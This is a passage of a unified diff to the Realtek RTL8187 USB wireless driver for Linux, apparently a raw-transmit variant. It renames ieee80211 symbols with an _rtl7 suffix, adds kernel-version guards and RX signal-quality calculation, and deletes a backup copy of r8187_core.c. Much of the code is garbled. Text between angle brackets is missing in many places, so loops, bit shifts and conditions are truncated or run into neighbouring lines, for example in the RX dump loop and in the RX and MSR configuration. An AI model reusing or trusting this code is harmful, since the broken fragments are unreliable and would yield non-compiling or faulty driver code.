rtl8180_irq_disable(dev); - ieee80211_softmac_stop_protocol(priv->ieee80211); - + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + return 0; } void rtl8180_commit(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); if (priv->up == 0) return ; - - ieee80211_softmac_stop_protocol(priv->ieee80211); - + + ieee80211_softmac_stop_protocol_rtl7(priv->ieee80211); + rtl8180_irq_disable(dev); rtl8180_rtx_disable(dev); _rtl8180_up(dev); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work) +{ + struct r8180_priv *priv = container_of(work, struct r8180_priv, reset_wq); + struct net_device *dev = priv->dev; +#else void rtl8180_restart(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); +#endif down(&priv->wx_sem); - rtl8180_commit(dev); - + up(&priv->wx_sem); } static void r8180_set_multicast(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short promisc; //down(&priv->wx_sem); - + /* FIXME FIXME */ - + promisc = (dev->flags & IFF_PROMISC) ? 1:0; - + if (promisc != priv->promisc) // rtl8180_commit(dev); - + priv->promisc = promisc; - + //schedule_work(&priv->reset_wq); //up(&priv->wx_sem); } @@ -2273,17 +2415,17 @@ int r8180_set_mac_adr(struct net_device *dev, void *mac) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); struct sockaddr *addr = mac; - + down(&priv->wx_sem); - + memcpy(dev->dev_addr, addr->sa_data, ETH_ALEN); - + schedule_work(&priv->reset_wq); - + up(&priv->wx_sem); - + return 0; } @@ -2291,16 +2433,18 @@ /* based on ipw2200 driver */ int rtl8180_ioctl(struct net_device *dev, struct ifreq *rq, int cmd) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + struct iwreq *wrq; + int ret; + down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; + + wrq = (struct iwreq *)rq; + + ret=-1; switch (cmd) { case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); + ret = ieee80211_wpa_supplicant_ioctl_rtl7(priv->ieee80211, &wrq->u.data); break; default: @@ -2309,7 +2453,7 @@ } up(&priv->wx_sem); - + return ret; } @@ -2320,10 +2464,11 @@ struct net_device *dev = (struct net_device*)rx_urb->context; int status,len,flen; struct sk_buff *skb; - u32 *desc; - + u8 *desc; + u8 signal,quality,rate; + //DMESG("rtl8187_rx_isr"); - + struct ieee80211_rx_stats stats = { .signal = 0, .noise = -98, @@ -2332,43 +2477,109 @@ .freq = IEEE80211_24GHZ_BAND, }; + //DMESG("RX %d ",rx_urb->status); status = rx_urb->status; if(status == 0){ - + len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ + // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ len -= 4*4;/* 4 dword and 4 byte CRC */ - +#if 0 desc = (u32*)(rx_urb->transfer_buffer + len); - + flen = desc[0] & 0xfff; - + if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; + + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[1]& (0xff0000))>>16; + signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=(desc[1] & (0xff)); + + rate=(desc[0] &((1<<23)|(1<<22)|(1<<21)|(1<<20)))>>20; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; stats.mac_time[0] = desc[2]; stats.mac_time[1] = desc[3]; +#endif + + desc = rx_urb->transfer_buffer + len; + + flen = ((desc[1] & 0x0f) << 8) + (desc[0] & 0xff); + + if( flen <= rx_urb->actual_length){ + //stats.signal = (desc[1] & 0x7f00)>>8; + //stats.noise = desc[1] &0xff; + signal=(desc[6]& 0xfe)>>1; + //signal=(signal&0xfe)>>1; // Modify by hikaru 6.6 + + quality=desc[4] & 0xff; + + //rate=(desc[2] &((1<<7)|(1<<6)|(1<<5)|(1<<4)))>>4; + rate=(desc[2] & 0xf0)>>4; + // printk(KERN_INFO "rate is %d!\n",rate); + stats.rate = rtl8180_rate2rate(rate); + // printk(KERN_INFO "stats.rate is %d!\n",stats.rate); + //stats.rate = desc[0] >> 20 & 0xf; + stats.mac_time[0] = desc[8] + (desc[9]<<8) + (desc[10]<<16) + (desc[11]<<24); + stats.mac_time[1] = desc[12] + (desc[13]<<8) + (desc[14]<<16) + (desc[15]<<24); + + + //calculate link quality begin + if(!rtl8180_IsWirelessBMode(stats.rate) ) + { // OFDM rate. + if(signal>90) + signal=90; + else if(signal<25) + signal=25; + signal = (90-signal)*100/65; + } + else + { // CCK rate. + if(signal>95) + signal = 95; + else if(signal<30) + signal = 30; + signal =(95-signal )*100/65; + } + priv->wstats.qual.level = signal; + // printk(KERN_INFO "signal is %d!\n",signal); + if(quality > 64) + priv ->wstats.qual.qual = 0; + else + priv ->wstats.qual.qual = ((64-quality) * 100) / 64; // SQ value is the SIGNAL_QUALITY returned to IORequest, + //and this value only appear when STA is associated to AP or + // STA is in IBSS mode + // printk(KERN_INFO "quality is %d!\n",priv->wstats.qual.qual); + priv->wstats.qual.noise = 100 - priv ->wstats.qual.qual; + priv->wstats.qual.updated = 7; + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR) + { + stats.signal = priv->wstats.qual.level; + stats.noise = priv->wstats.qual.noise; + } + //calculate link quality end skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ + if(skb){ memcpy(skb_put(skb,flen-4), rx_urb->transfer_buffer,flen -4); - + #ifdef DUMP_RX int i; for(i=0;itransfer_buffer))[i]); printk("------RATE %x:w---------------\n",stats.rate); - + #endif priv->stats.rxok++; // priv->rxskb = skb; // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, + if(!ieee80211_rx_rtl7(priv->ieee80211, skb, &stats)) dev_kfree_skb_any(skb); } @@ -2376,9 +2587,8 @@ }else{ priv->stats.rxstaterr++; priv->ieee80211->stats.rx_errors++; - } - + if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); else DMESG("RX process aborted due to explicit shutdown"); } @@ -2396,20 +2606,22 @@ struct r8180_priv *priv= NULL; struct usb_device *udev = interface_to_usbdev(intf); -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - +//printk("===> rtl8187_usb_probe()\n"); + + dev = alloc_ieee80211_rtl7(sizeof(struct r8180_priv)); + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - +#endif + usb_set_intfdata(intf, dev); + SET_NETDEV_DEV(dev, &intf->dev); - priv = ieee80211_priv(dev); + priv = ieee80211_priv_rtl7(dev); priv->ieee80211 = netdev_priv(dev); - + priv->udev=udev; - + dev->open = rtl8180_open; dev->stop = rtl8180_close; //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; @@ -2418,41 +2630,46 @@ dev->do_ioctl = rtl8180_ioctl; dev->set_multicast_list = r8180_set_multicast; dev->set_mac_address = r8180_set_mac_adr; +#if WIRELESS_EXT >= 12 +#if WIRELESS_EXT < 17 dev->get_wireless_stats = r8180_get_wireless_stats; +#endif + dev->wireless_handlers = (struct iw_handler_def *) &r8180_wx_handlers_def; +#endif dev->type=ARPHRD_ETHER; - + if (dev_alloc_name(dev, ifname) < 0){ DMESG("Oops: devname already taken! Trying wlan%%d...\n"); ifname = "wlan%d"; dev_alloc_name(dev, ifname); } - + // dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ + + if(rtl8180_init(dev)!=0){ DMESG("Initialization failed"); goto fail; } - + netif_carrier_off(dev); netif_stop_queue(dev); - + register_netdev(dev); - + rtl8180_proc_init_one(dev); - - + + DMESG("Driver probe completed\n"); - return 0; + return 0; + - fail: - free_ieee80211(dev); - + free_ieee80211_rtl7(dev); + DMESG("wlan driver load failed\n"); - + return -ENODEV; - + } @@ -2461,13 +2678,13 @@ struct r8180_priv *priv; struct net_device *dev = usb_get_intfdata(intf); if(dev){ - + unregister_netdev(dev); - - priv=ieee80211_priv(dev); - + + priv=ieee80211_priv_rtl7(dev); + rtl8180_proc_remove_one(dev); - + rtl8180_down(dev); priv->rf_close(dev); //rtl8180_rtx_disable(dev); @@ -2478,12 +2695,12 @@ } // pci_disable_device(pdev); - free_ieee80211(dev); + free_ieee80211_rtl7(dev); DMESG("wlan driver removed\n"); } -static int __init rtl8187_usb_module_init(void) +static int __init rtl8187_usb_module_init_rtl7(void) { printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ based WLAN cards\n"); @@ -2495,7 +2712,7 @@ } -static void __exit rtl8187_usb_module_exit(void) +static void __exit rtl8187_usb_module_exit_rtl7(void) { usb_deregister(&rtl8187_usb_driver); @@ -2508,14 +2725,14 @@ { unsigned long flags; short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); + spin_lock_irqsave(&priv->tx_lock,flags); enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - + spin_unlock_irqrestore(&priv->tx_lock,flags); + if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); + ieee80211_wake_queue_rtl7(priv->ieee80211); } @@ -2523,5 +2740,5 @@ /*************************************************************************** ------------------- module init / exit stubs ---------------- ****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); +module_init(rtl8187_usb_module_init_rtl7); +module_exit(rtl8187_usb_module_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187_core.c~ 2006-06-22 01:40:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.c~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,2527 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver - v 0.1 - Copyright (C) Andrea Merello 2005 - Released under the terms of GPL (General Public License) - - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon. - - Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers. - - some ideas might be derived from David Young rtl8180 netbsd driver. - - Parts of the usb code are from the r8150.c driver in linux kernel - - Some ideas borrowed from the 8139too.c driver included in linux kernel. - - We (I?) want to thanks the Authors of those projecs and also the - Ndiswrapper's project Authors. - - A special big thanks goes also to Realtek corp. for their help in my - attempt to add RTL8187 and RTL8225 support, and to David Young also. - - - Please note that this file is a modified version from rtl8180-sa2400 - drv. So some other people have contributed to this project, and they are - thanked in the rtl8180-sa2400 CHANGELOG. -*/ - -#ifndef CONFIG_FORCE_HARD_FLOAT -double __floatsidf (int i) { return i; } -unsigned int __fixunsdfsi (double d) { return d; } -double __adddf3(double a, double b) { return a+b; } -double __addsf3(float a, float b) { return a+b; } -double __subdf3(double a, double b) { return a-b; } -double __extendsfdf2(float a) {return a;} -#endif - -#undef LOOP_TEST -#undef DUMP_RX -#undef DUMP_TX -#undef DEBUG_TX_DESC2 -#undef RX_DONT_PASS_UL -#undef DEBUG_EPROM -#undef DEBUG_RX_VERBOSE -#undef DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - 